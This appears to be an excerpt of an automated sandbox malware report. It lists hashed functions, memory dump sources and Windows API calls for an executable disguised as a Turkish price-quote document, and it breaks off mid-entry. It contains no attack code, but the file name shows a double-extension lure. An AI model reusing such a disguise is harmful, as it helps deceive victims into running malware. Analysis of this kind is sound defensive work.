Snapshot File: hcaresult_0_2_50b0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: ac02ada75fb2f8d38f6d535e40c816084ae1e80d7dab6098935684f183dd2743
Instruction ID: 6718fb46beced74dcd036bfa8038b7c0144027a41d11ddca1044cb51d832cf7a
Opcode Fuzzy Hash: ac02ada75fb2f8d38f6d535e40c816084ae1e80d7dab6098935684f183dd2743
Instruction Fuzzy Hash: 3B31E6B59042099FDB10CF9AD881ADEFBF5FB48320F14442AE915A7310D775A940CFA4

Function 050BDED9 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,050BDEC5,?,?), ref: 050BDF77

Memory Dump Source

Source File: 00000000.00000002.2145722926.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50b0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 6b558f5dd36b18c18ba196059976f53714daca7084c4f2b346d5f10b819100e6
Instruction ID: 0b451eda675228cc2e8ca5938b0e5dd1dff53936738dfc280887bc696ddd9e1e
Opcode Fuzzy Hash: 6b558f5dd36b18c18ba196059976f53714daca7084c4f2b346d5f10b819100e6
Instruction Fuzzy Hash: 7C31E2B6D0524A9FDB10CF9AD884ADEFBF4BF48320F14842AE519A7310D374A944CFA0

Function 029AD5D9 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 029AD667

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 353e35aedf9fb4e70bd86d16bfd945e545d8cb072818ae22d902b8e9c1f9c19a
Instruction ID: 60e27c239b385457aa6d34083f45c85341e5a3301e5d3faa8828b1391e4dca5e
Opcode Fuzzy Hash: 353e35aedf9fb4e70bd86d16bfd945e545d8cb072818ae22d902b8e9c1f9c19a
Instruction Fuzzy Hash: A421F4B5900249DFDB10CFAAD585ADEBFF4EB48310F14801AE918A3310C374A954CFA0

Function 029AD5E0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 029AD667

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9e171307a63f9b99c02bbbe220b43267e92bb91c52d3a4e996aa78d5ac5f7c61
Instruction ID: 246a1288966afbfbb8e7f8a4cb1c6af2012d4f53a0d3ed5026fc272eee95c7f7
Opcode Fuzzy Hash: 9e171307a63f9b99c02bbbe220b43267e92bb91c52d3a4e996aa78d5ac5f7c61
Instruction Fuzzy Hash: C321B5B5900349DFDB10CF9AD584ADEBBF4EB48710F14841AE918A3350D374A954CFA5

Function 029AB1D8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 029AB23E

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5b4da2b881def488daaea7ebee0309b1ed1ba9208c90e59c6c8e81ed0a2e0837
Instruction ID: 505cc01912cf24aa7e0455d9fbdc4d284118d30d97f4bc502b8a148fffc82890
Opcode Fuzzy Hash: 5b4da2b881def488daaea7ebee0309b1ed1ba9208c90e59c6c8e81ed0a2e0837
Instruction Fuzzy Hash: 5C1102B6C007498FDB10CF9AD444ADFFBF4AF88324F10841AD829A7200D379A545CFA1

Function 00E4D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140578852.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e4d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29605fa111e2ef516bf4c0e12bfe47a00d9ea9222122c96954ad40c6b60d09f3
Instruction ID: 9b04d71c0dc5414745f49b1f5490d640edcd2f0673955990862812b1b3a10928
Opcode Fuzzy Hash: 29605fa111e2ef516bf4c0e12bfe47a00d9ea9222122c96954ad40c6b60d09f3
Instruction Fuzzy Hash: A1212872508240DFDB05DF14EDC0B26BF65FBC4318F20C56DE9091B256C73AD856CAA1

Function 00E4D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140578852.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e4d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0628506e02641f446a78eb06ebbc13fb1fd911a2468f09dab5f97a48eabb274c
Instruction ID: c0fa4cf4e3e16eab31d4aae9455a8cbce6b9e21f13a53884a82e35efa2b7b1a4
Opcode Fuzzy Hash: 0628506e02641f446a78eb06ebbc13fb1fd911a2468f09dab5f97a48eabb274c
Instruction Fuzzy Hash: 43212876508204DFDB05DF14EDC0B26BF65FB94324F20C16DE9095B256C33AE856CAA1

Function 0105D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140880567.000000000105D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0105D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_105d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d2308934bc893f0e22413aafa9f95a168baa8c12ea96f76fa7a2430d102693
Instruction ID: 14f492a2abbe1ee1a834535ac969e5c7c02bc9585e091754cd8de073fab78331
Opcode Fuzzy Hash: c0d2308934bc893f0e22413aafa9f95a168baa8c12ea96f76fa7a2430d102693
Instruction Fuzzy Hash: B5213475504300EFDB85DF94D9C0B2ABBA5FB84324F20C5AEED894B252C776D446CB61

Function 0105D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140880567.000000000105D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0105D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_105d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d2551cb00443c389db9cf40c7adc45929901457363dcbc0a941d95e1b2a5bf
Instruction ID: 46e1e90daba07d68e87a89915e906ab4c001a2170567fa56de5601ce1c3703b3
Opcode Fuzzy Hash: a0d2551cb00443c389db9cf40c7adc45929901457363dcbc0a941d95e1b2a5bf
Instruction Fuzzy Hash: 0B210075604200EFDB95DF54D9C0B2BBBA5EB84314F20C5AEED8A4B252C37AD807CB61

Function 0105D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140880567.000000000105D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0105D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_105d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 627c7ed70522c816c7722fa05ea954dc0fa3993f38ab24152ca58f26c852821b
Instruction ID: 6b54daf264900307a8c594c4d498a02713ae623d1cbc4968e9a2f44ecc356b45
Opcode Fuzzy Hash: 627c7ed70522c816c7722fa05ea954dc0fa3993f38ab24152ca58f26c852821b
Instruction Fuzzy Hash: A421A4755093808FDB53CF64D990715BFB1EB45214F28C5DBD8898B2A7C33AD40ACB62

Function 00E4D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140578852.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e4d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: f565b4a17d0a5e8e575f347263f52f33103a21cb8086ddd1f1d057e54791417f
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: B411E676504280CFCB15CF10E9C4B16BF71FB94328F24C6A9D8494B656C33AD856CBA1

Function 00E4D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140578852.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e4d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: 8f1b270b225466b2ee3cda8cd6dca6ad621ca9ad9f900efba23c6437f57b96b5
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: 9D11E6B6504280DFCB15CF10D9C4B16BF71FB94328F24C6A9D8094B656C33AE856CBA1

Function 0105D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140880567.000000000105D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0105D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_105d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: 44cfcce0ee78a25026fde2cc739821e7a20a0e1300c0c27c931ffc7dd7675ded
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: F111BB75504280DFCB42CF54C5C0B16BBA1FB84224F24C6AEDC894B2A6C33AD44ACB61

Function 00E4D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140578852.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e4d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5b4110854b2ec05a6a6e89b4cea1ec7712ad86d38be0d5988a847378c00184
Instruction ID: a166059fb65a86e931499313531f9b0fb0feeae0e5fca26d878526bc212f4883
Opcode Fuzzy Hash: 7d5b4110854b2ec05a6a6e89b4cea1ec7712ad86d38be0d5988a847378c00184
Instruction Fuzzy Hash: 2A01F7714083409AE7105E25ED88B67FF98DF81338F18D55BED086A282C7B99840C6B1

Function 00E4D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140578852.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e4d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c1e7f841c420fec13959395e113062e60373ebf1bb1184a038ba168c1397b30
Instruction ID: b3a9fddf26fbd382d946415df871696a187a018ae89196a90e1222c54fe3b03e
Opcode Fuzzy Hash: 8c1e7f841c420fec13959395e113062e60373ebf1bb1184a038ba168c1397b30
Instruction Fuzzy Hash: C1F062724093449AE7109E15DD88B67FF98EB91738F18C45BED085A686C3799C44CBB1

Non-executed Functions

Function 029ADC8C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb8e0b49059b22fb996c1baf8f4561aad41473d9827e147a3ad9353c0f1c5724
Instruction ID: f0670192c260f05dedf9de58a3f4f42ab60282ebac07e6e90aff3078bee98705
Opcode Fuzzy Hash: eb8e0b49059b22fb996c1baf8f4561aad41473d9827e147a3ad9353c0f1c5724
Instruction Fuzzy Hash: 67A17B32E003098FCF05DFB4C8945EEBBB6FF85304B15856AE906AB665DB31D916CB90

Analysis Process: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exePID: 2820, Parent PID: 6444COMMON

Executed Functions

Function 0120A088 Relevance: .9, Instructions: 893COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70cdfb8665b105cbe1acbeeac5b82da97d5a656ec6ab3ed19f855085a7dd1aed
Instruction ID: bba1ea180f41e3b601e8a161ed13fe3a3631ed6f2825d428c238a7382e23fe7a
Opcode Fuzzy Hash: 70cdfb8665b105cbe1acbeeac5b82da97d5a656ec6ab3ed19f855085a7dd1aed
Instruction Fuzzy Hash: D0828F35A1020ADFCB16CF68C984AAEBBF2FF88300F558655E5059B3E2D775E981CB50

Function 01206FC8 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52394763ba32900321558c187445e435adc6a102cab38cf36e8605cc1366046
Instruction ID: 3bbb4b2ef76dbfc7cec215eebe5a8ea057059d3080efef4ae66a1b564102e6a8
Opcode Fuzzy Hash: d52394763ba32900321558c187445e435adc6a102cab38cf36e8605cc1366046
Instruction Fuzzy Hash: 6B228030A10245DFDB16CF68D884AADBFB6FF48310F158269E985EB2A2D735EC41CB50

Function 012069A0 Relevance: .5, Instructions: 510COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d00b7e6692af5277e60e5241505081f57c6c60b16eafceee3fe69ba576750f5
Instruction ID: 45d8ad6b1e59c877e4505dabea8d25eddeef4a91bf0584ae43b8fbd2cdbcb8c4
Opcode Fuzzy Hash: 5d00b7e6692af5277e60e5241505081f57c6c60b16eafceee3fe69ba576750f5
Instruction Fuzzy Hash: 24129D70A1021A8FDB15DF69C854BAEBBF6BF88304F108629E505EB392DF749D51CB90

Function 012029EC Relevance: .5, Instructions: 490COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46584b2d97c264c403abf5b22c3dbe73322910dc243afb72578a37c8dd9c03f
Instruction ID: 3fa5e74e060df4420fde1eb82a56f6b6c9fec4005a4b2c109c4e84e9d53051fe
Opcode Fuzzy Hash: b46584b2d97c264c403abf5b22c3dbe73322910dc243afb72578a37c8dd9c03f
Instruction Fuzzy Hash: DD02027292E3E48FC7638B3484652967F70BF4B214B1946DFC482DB1A3E7754806C752

Function 01203E09 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c62b18acb840ec88a31e0ece981e4f1c9d9b8f74453856a4f43894bdf1491567
Instruction ID: 2f7f7698cb18d1c008882fb3020e32921231fab17a70184a95e311037ae06175
Opcode Fuzzy Hash: c62b18acb840ec88a31e0ece981e4f1c9d9b8f74453856a4f43894bdf1491567
Instruction Fuzzy Hash: 4091C570B14259DBEB0DEBB4885567EBBB3BFC8700B08C62ED506E7285CE3589029791

Function 0120C146 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a6845c5ad640c25ca17679404c62d5ffaa1843e9397413d325cf01e682e990d
Instruction ID: 34044c0742b2adfb7a7a41864c44269a6065b9645c9addc7681b5f82e5575e36
Opcode Fuzzy Hash: 5a6845c5ad640c25ca17679404c62d5ffaa1843e9397413d325cf01e682e990d
Instruction Fuzzy Hash: 39A1F8B4E14218CFDB15DFA9D884A9DBBF2BF89300F1482A9D509AB362DB709945CF50

Function 01205362 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7dc97eaef0481effbdf8add446f0a9f0e4d7f9ffd0f2899fc035e598bcc8ca
Instruction ID: 46c25e75b382bd7fcbc8822efc20abbdbcb801c87a332453b4aa750bd19efa7b
Opcode Fuzzy Hash: 4c7dc97eaef0481effbdf8add446f0a9f0e4d7f9ffd0f2899fc035e598bcc8ca
Instruction Fuzzy Hash: 2B91E274E10258CFDB15DFAAD984A9DBFF2BF89300F148169D809AB3A6DB309945CF10

Function 0120D278 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23e685fa63a3d8ebe313200c1318af1b3bc4055ff2e7a9cb65834bad28773f7d
Instruction ID: 670797fc355faacca9178c62a80865deed8951b84673d3aaafe0d15ad4cbcc63
Opcode Fuzzy Hash: 23e685fa63a3d8ebe313200c1318af1b3bc4055ff2e7a9cb65834bad28773f7d
Instruction Fuzzy Hash: 0981C274E11218CFEB15DFEAD984A9DBBF2BF88300F148169E509AB366DB709945CF10

Function 0120CA08 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c2431a57716ae33e21807c5abe8d47901dc77eccc7fb5821328efb6c17c6c8
Instruction ID: d9007d71b125d50ee81b33ff4c1d4edc8cc17bbd28389dcd77d4ef974a33d93f
Opcode Fuzzy Hash: 59c2431a57716ae33e21807c5abe8d47901dc77eccc7fb5821328efb6c17c6c8
Instruction Fuzzy Hash: 8D81D4B0E10618CFEB15DFAAD884A9DBBF2BF88304F10C269D508AB365DB749945CF50

Function 0120CCD8 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e415c5f28359854381e98dabef52c242cee54196c67538c19ee225cea78df2
Instruction ID: 1daaca0a58b34d7ce6b791fd15ae8c154e1f57289046739a49e5e41d1c2b823b
Opcode Fuzzy Hash: 84e415c5f28359854381e98dabef52c242cee54196c67538c19ee225cea78df2
Instruction Fuzzy Hash: DA81C5B4E10218CFDB15DFAAD984A9DBBF2BF88304F1481A9D509AB365DB709D41CF50

Function 0120CFAA Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 765bc88a6bc131c7112d24af1b1dfc2c1f37ba4430b060483b1b1d7b76c5902d
Instruction ID: 7a75095d7e81ca9f7f2030c0248e3f4691381b2993836e9264e2af8c00ec5d79
Opcode Fuzzy Hash: 765bc88a6bc131c7112d24af1b1dfc2c1f37ba4430b060483b1b1d7b76c5902d
Instruction Fuzzy Hash: FD81B374E11218CFEB15DFEAD984A9DBBF2BF88300F148169E509AB365DB749941CF10

Function 0120C46A Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd7c17c0db48acf69af5084a0b52baaa19dea8d9caa5aa51d1a63b31c5c6dd0b
Instruction ID: 6f6221cbb32cf4880ebb1acff6f0f988cadf75ef6d1b8cfff9c9b4da125cffa5
Opcode Fuzzy Hash: fd7c17c0db48acf69af5084a0b52baaa19dea8d9caa5aa51d1a63b31c5c6dd0b
Instruction Fuzzy Hash: 6681E8B4E10218CFDB15DFAAD984A9DBBF2BF88304F14D2A9D518AB365DB709941CF10

Function 0120C738 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1467dd1992f3c0cb8e6dbd360f22c50aacd123abeaeb46d811a2e9b2ee54aa6d
Instruction ID: 50adfe6d887f927eee577332d6de71b66634ee31eac63ea741674985d324c4a3
Opcode Fuzzy Hash: 1467dd1992f3c0cb8e6dbd360f22c50aacd123abeaeb46d811a2e9b2ee54aa6d
Instruction Fuzzy Hash: 9381C3B4E10218CFEB15DFAAD984A9DBBF2BF88304F14C1A9D518AB365DB709941CF50

Function 0120E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 306f1ffbdce221b32190260c7509d6e8238dab2c1b080b9a8bfa5a38412ea26e
Instruction ID: a0e17335ba706f367cdfbaf6aa7d47e14bbd8f9efaa019084b47e7bc81fc36cf
Opcode Fuzzy Hash: 306f1ffbdce221b32190260c7509d6e8238dab2c1b080b9a8bfa5a38412ea26e
Instruction Fuzzy Hash: 3351B774E00208DFEB19DFBAD584A9DBBB2BF88300F21D529E915AB3A5DB705941CF14

Function 0120E97A Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 911da37efde29d60064a5c077d80aa588246b7ff7e20948a545231b18669a425
Instruction ID: 460da5368ca38bc0862c4d10769ebb89d319ef9d122fe8015d2982c18001c4ec
Opcode Fuzzy Hash: 911da37efde29d60064a5c077d80aa588246b7ff7e20948a545231b18669a425
Instruction Fuzzy Hash: E851D874E00208DFEB19DFBAD584A9DBBB2BF88300F25D129E915AB3A5DB745841CF10

Function 01208490 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e9d614dac2b9548b0b56443cb1972a6828dae3802257d6a4c3b29185912abb9
Instruction ID: 11d57ac1ec86784436a052e0501c67d940bcc60b360e5695edb57f1304431280
Opcode Fuzzy Hash: 8e9d614dac2b9548b0b56443cb1972a6828dae3802257d6a4c3b29185912abb9
Instruction Fuzzy Hash: 58523271A00219CFEB159BE8C854BAEBF73EF84300F1081A9D20A67396DE759E85DF51

Function 0120E007 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e162e87fde7cb5cd16e20db0b23589fd88d809a2013597eca640d895115357a
Instruction ID: 5ab14e511cd026ddc0061086902a63fc4ae0cc536b89c1598feb1668144d9f57
Opcode Fuzzy Hash: 9e162e87fde7cb5cd16e20db0b23589fd88d809a2013597eca640d895115357a
Instruction Fuzzy Hash: F412BC398A12438FA2402F70F5FC93A7B61FB1F393704AD10F11B86891AB7990A5CF61

Function 0120E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

